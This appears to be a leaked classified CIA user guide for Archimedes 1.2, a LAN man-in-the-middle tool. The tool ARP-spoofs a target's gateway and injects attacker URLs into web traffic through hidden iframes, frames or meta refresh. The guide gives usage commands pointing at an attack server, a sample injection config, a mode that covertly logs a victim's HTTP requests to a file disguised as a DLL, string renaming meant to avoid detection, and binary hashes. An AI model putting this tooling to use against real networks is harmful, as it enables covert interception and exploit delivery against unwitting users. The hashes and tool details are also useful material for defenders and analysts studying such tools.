(S) Engineering Development Group

(S) UMBRAGE PROJECT

(S) Archimedes 1.2

(U) Tool Documentation

(U) Document Rev. 1.0

23-August-2013

```
Classified By: 2345492
Reason: 1.4(c)
Declassify On: 25X1, 20630823
Derived From: CIA NSCG MET S-06
```

(S) ARCHIMEDES 1.2

(S//NF) This document is supplemental to the following documents:

- Fulcrum User Manual 0.6
- Archimedes 1.0 User Guide
- Archimedes 1.1 Addendum

(S//NF) Please see the above documents for a complete description of the tool's functionality. Archimedes 1.2 is a QRC update to the 1.1 version of the tool that includes support for running the tool in a survey mode and obeying a whitelist of target hosts.

(S//NF) Archimedes 1.2 makes the following modifications to the 1.1 version:

1. Adds SURVEY_ONLY (SO) option as an "injection method". This causes Archimedes to log information about the target's HTTP requests to a local file.
2. Adds HOST_WHITELIST (HW) configuration option. If the whitelist is provided, then Archimedes will only inject into hosts that match names on the provided list.
3. Changes the command line parameter format for EXEs and DLLs to use argument switches rather than a fixed order of parameters. **Note that this may break compatibility with existing scripts**.
4. Changes the default value for INJECTION_METHOD (IM) to SURVEY_ONLY (SO), the default value for VERIFY_ROUTE (VR) to FALSE, and the number of injection attempts to 5.
5. Replaces the readable strings used in the configuration file (and to specify injection methods) with non-alerting abbreviations.

(U) FILE INFORMATION

(S) Appendix B contains a list of the binaries delivered in Archimedes 1.2 along with MD5 sums and file sizes that can be used to verify file integrity.

!!! DEBUG BINARIES ARE CLASSIFIED SECRET//NOFORN AND SHOULD NOT/NOT BE DEPLOYED ON TARGET !!!

(S//NF) Note that the delivery includes both debug and release builds of each binary. The debug builds contain additional instrumentation that can be helpful in pin-pointing errors and unexpected behavior and will generate log information that can be used to trace the program's execution. **Debug versions should not be deployed outside of a controlled CLASSIFIED environment. The additional information in them makes the software particularly vulnerable to reverse engineering and analysis.** Debug versions of the tool should be used in controlled test environments only.

(U) NEW FEATURES

(S) IMPROVED ARGUMENT PARSING

(S//NF) As more options have been introduced, the original parameter parsing approach which relied on the argument order has become difficult to use. Archimedes 1.2 modifies the tool to require parameter switches in command lines passed to the EXE and DLL builds. This simplifies the argument specification by reducing the number of parameters required and eliminating the dependency on argument ordering.

```
ARCHIMEDES 1.2 USAGE

REQUIRED
-t [Target MACAddress]
-g [Gateway MACAddress]

OPTIONAL
-u [Injected URL, required except for SURVEY_ONLY (SO) method, No default]
-d [MILLISECONDS_BETWEEN_SPOOFS, Optional, Default: 1000]
-v [VERIFY_ROUTE (TRUE/FALSE), Optional, Default: FALSE]
-m [INJECTION_METHOD, Optional, Default: SO]
-p [PORT for HTTP monitoring, Optional, Default: 80]
-w [HOST_WHITELIST Optional, Default: (empty)]

Example:

1)  f32.exe -t 00:0C:29:BD:34:45 -g 00:0c:29:61:d0:d7 -m SO

2)  f32.exe -t 00:0C:29:BD:34:45 -g00:0c:29:61:d0:d7 -u http://10.0.0.11/attack.html -v
    FALSE -m HI -w www.mytest.com,mytest.com,www.yahoo.com
```

(S//NF) Spaces between the switch and the argument are optional. **Please see the "APPLICATION DEFAULTS" section below for information on the default values of each configuration value**. Note that the injected URL value is required, except for SURVEY_ONLY (SO) mode.

(U) RENAMED CONFIGURATION ITEMS

(S//NF) The following names used in the encrypted configuration file have been changed to avoid having "alerting" strings on the target:

OLD NAME	NEW NAME	DESCRIPTION
VICTIM_MAC	VM	Target's MAC address
HIJACKED_MAC	HM	MAC address of the gateway (hijacked address)
MILLISECONDS_BETWEEN_SPOOFS	MS	Time between ARP spoofs
INJECTED_URL	IU	URL that will be injected
INJECTION_METHOD	IM	HTML methods used to inject the URL
USABLE_MEDIA_TYPES	UM	HTML content type to inject against
USER_AGENT_WHITELIST	UW	Only attack these agents
USER_AGENT_BLACKLIST	UB	Don't attack these agents
VERIFY_ROUTE	VR	Send verification packet before attack
PORT	PT	Port to monitor for HTTP traffic
HOST_WHITELIST	HW	List of hosts that can be injected into

(S//NF) The following injection methods have been renamed:

OLD NAME	NEW NAME	DESCRIPTION
DOUBLE_FRAME	DF	Double frame injection method
HIDDEN_IFRAME	HI	Hidden IFRAME injection method
META_REFRESH	MR	Meta refresh injection method
SURVEY_ONLY	SO	Survey only injection method

(S) SURVEY_ONLY (SO) MODE

(S//NF) The INJECTION_METHOD configuration option can be used to run the tool in a mode that collects information about a target's HTTP requests but does not attempt to perform any injection attacks. The results are stored to an AES-128 bit encrypted file with the name "**msipv4.dll**" (this file contains encrypted data, and is not a DLL). The file will be located in either the current directory (in the case of the Archimedes EXEs) or the user's temporary folder (%TEMP%, in the case of a fire-and-forget DLL).

(S//NF) **The file should be brought back to the operator's workstation before being decrypted using the provided Encrypter32.EXE application.** For example:

```
Encrypter32.exe –d msipv4.dll survey.txt
```

(S//NF) Encrypter3232.exe should be considered sensitive and should be kept in a controlled environment.

(S//NF) Produces the following SURVEY.TXT file after collecting a few requests in the lab:

```
USER AGENT: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)
HOST: Host: mytest.com
REQUEST: GET / HTTP/1.1

USER AGENT: User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
HOST: Host: 10.0.0.11
REQUEST: GET / HTTP/1.1

USER AGENT: User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:23.0)
Gecko/20100101 Firefox/23.0
HOST: Host: www.mytest.com
REQUEST: GET / HTTP/1.1
```

(S//NF) The survey results can be used to build a target host white-list as described in the following section.

(S) HOST_WHITELIST (HW) CONFIGURATION

(S//NF) The INJECTION_METHOD (IM) configuration option can be used to run the tool in a mode that collects information about a target's HTTP requests but does not attempt to perform any injection attacks. The whitelist is specified in the configuration file as "HW=VALUES" and on the command line as "–w VALUES" where "VALUES" is a comma (",") separated list of URLs to match against. Note that **quotation marks should not be used and that there**

should be no spaces between URLs. The following is an example of specifying the HOST_WHITELIST in the configuration file:

```
HW=www.badguys.com,target.com,www.target.com
```

(S//NF) In the example above, the use has specified three targets that can be injected against: “www.badguys.com”, “target.com”, and “www.target.com”. Whitelist matches are case insensitive, but exact. In this example, note that Archimedes will not identify the following hosts as matches: “badguys.com”, “web.target.com”, “site.www.target.com”. At this time, **there is no support for wild-card or regular expression matching in the whitelist processing**.

(C) FIRE AND FORGET SUPPORT

(S//NF) Fire and Forget (v.2) support has been updated to require the new command line switches as described previously.

(U) CHANGES TO APPLICATION DEFAULTS

(S//NF) The default value for INJECTION_METHOD (IM) is changed to SO (SURVEY_ONLY).

(S//NF) The default value for VERIFY_ROUTE (VR) has been changed to FALSE.

(S//NF) The maximum number of injections that will be attempted before quitting has been reduced from 10 to 5.

(S//NF) The AES key that Archimedes uses to encrypt/decrypt the configuration file and the survey results (and the debug log, for the debug version) has been changed and there is no backwards/forwards compatibility between versions.

(U) TROUBLESHOOTING

(S//NF) Version 1.2 requires that the new names (as described in the “Renamed Configuration Items” section are used in the configuration file and for the INJECTION_METHOD as specified on the command line. For example, one must use “-m DF” for the DOUBLE_FRAME method. Using the old style name will cause Archimedes to fail.

(S//NF) Archimedes verifies a successful injection against a target by monitoring the HTTP traffic for the target’s request that contains the injected URL. Unfortunately, **if the injected URL uses an SSL connection or uses a port other than the monitored port, then the injected URL will never be seen**. After waiting a few seconds, Archimedes will reset itself and perform the injection attack again. This will occur 5 times before the tool gives up and quits. It is highly recommended that the operator stops Archimedes (using the appropriate stop EXE/DLL) once a successful attack has been performed (as determined by observing the call-in to the attack server).

(S//NF) Certain HTML tags designed to protect users against cross-site scripting attacks are incompatible with the HTML injected by some of the injection methods. These tags, which prevent the use of FRAMEs or IFRAMEs, will cause a blank page to load on the target or a warning to appear in the browser. It has been observed that several popular websites (e.g. www.google.com) employ these tags, so the purpose of the survey mode and whitelist is to allow an operator to specify a (small) set of exploitable sites based on observed traffic.

(S//NF) Archimedes and Fulcrum only inject into HTTP requests that reference the root of the document directory. For example, http://www.test.com/ but not http://www.test.com/subdir/index.html . This continues to be true when targeting proxied network connections.

(S//NF) The DEBUG binaries are classified SECRET//NOFORN and can be used to obtain additional information in a classified lab environment.

(U) APPENDIX A: EXAMPLE CONFIGURATION FILE

(S//NF) The following example configuration file uses the new configuration strings to specify options. The configuration file must be encrypted to a file named “f.cfg” using the Encrypter32 application (see “Fulcrum 0.6 User Guide” and “Archimedes 1.0 User Guide” for details).

File: f.cfg.plaintext

```
VM=00:0C:29:BD:34:45
HM=00:0c:29:61:d0:d7
MS=1000
IU=http://10.0.0.11/attack.html
IM=HI
MT=text/html,*/*
UW=
UB=
VR=FALSE
HW=www.yahoo.com,www.mytarget.com,mytarget.com
PT=80
```

(U) APPENDIX B: FILE INTEGRITY DATA

UNCLASSIFIED BINARIES FOR DEPLOYMENT

```
[Path] / filename                               MD5 sum
--------------------------------------------------------------------------------
[\RC1\bin\UNCLASSIFIED\]
f32.dll                                         01d9544d0a151caa67cfd8eb0f17640d
f64.dll                                         f6f27ec79cb71cdd31c679b636002c49
fs32.dll                                        90a277ffbedc227fe236fbc6af3c5dc6
fs64.dll                                        ea965f46a287e03a7ab808a05ad2128f
f32.exe                                         f11aa2a0674c49f17a9360505626716d
f64.exe                                         ceb40a12129334ece4c3953fee950aa7
fs32.exe                                        ee28dc8e6abd77d33ef7be02a583760a
fs64.exe                                        f03b81e85706d3b4f8df2d8475dc36aa
encrypter32.exe                                 4f5f7297107a2b03c4f62e0c4b7f9871

08/28/2013  08:14 AM         1,048,064 f32.dll
08/28/2013  08:14 AM         1,049,600 f64.dll
08/28/2013  08:15 AM            34,304 fs32.dll
08/28/2013  08:15 AM            39,424 fs64.dll
08/28/2013  08:14 AM         1,047,552 f32.exe
08/28/2013  08:14 AM         1,049,088 f64.exe
08/28/2013  08:15 AM            33,792 fs32.exe
08/28/2013  08:15 AM            38,400 fs64.exe
08/29/2013  03:30 PM            72,704 encrypter32.exe
```

* Encrypter32.exe should be considered sensitive and should be kept in a controlled environment.

SECRET//NOFORN BINARIES FOR TESTING IN CLASSIFIED ENVIRONMENTS

```
[Path] / filename                               MD5 sum
--------------------------------------------------------------------------------
[\RC1\bin\SECRET_NOFORN\DEBUG_ONLY\]
f32_dbg.dll                                     77555106d94ab3eebd9452f75ac9c891
f64_dbg.dll                                     8cfb5b0e91335ec5c260ca1d2d93560d
fs32_dbg.dll                                    f3dfcbcaff98799b12650d634c93376a
fs64_dbg.dll                                    3544fdcf32dfb02fe2c56fcf505d2c1e
f32_dbg.exe                                     fbcf209b51137da2737227e9b87d40b9
f64_dbg.exe                                     e3387350485e40688e75de13a1013c8c
fs32_dbg.exe                                    4d3a81b72205d4f4e1ef229264761bcc
fs64_dbg.exe                                    e00d3a87005e26845951941292ae4754
encrypter32_dbg.exe                             ec463bfd4f6b05f7e5fa171818aff7c8

08/28/2013  08:23 AM         1,058,816 f32_dbg.dll
08/28/2013  08:23 AM         1,062,400 f64_dbg.dll
08/28/2013  08:23 AM            34,304 fs32_dbg.dll
08/28/2013  08:23 AM            39,424 fs64_dbg.dll
08/28/2013  08:23 AM         1,057,792 f32_dbg.exe
08/28/2013  08:23 AM         1,061,376 f64_dbg.exe
08/28/2013  08:23 AM            33,792 fs32_dbg.exe
08/28/2013  08:23 AM            38,400 fs64_dbg.exe
08/29/2013  03:28 PM            72,704 encrypter32_dbg.exe
```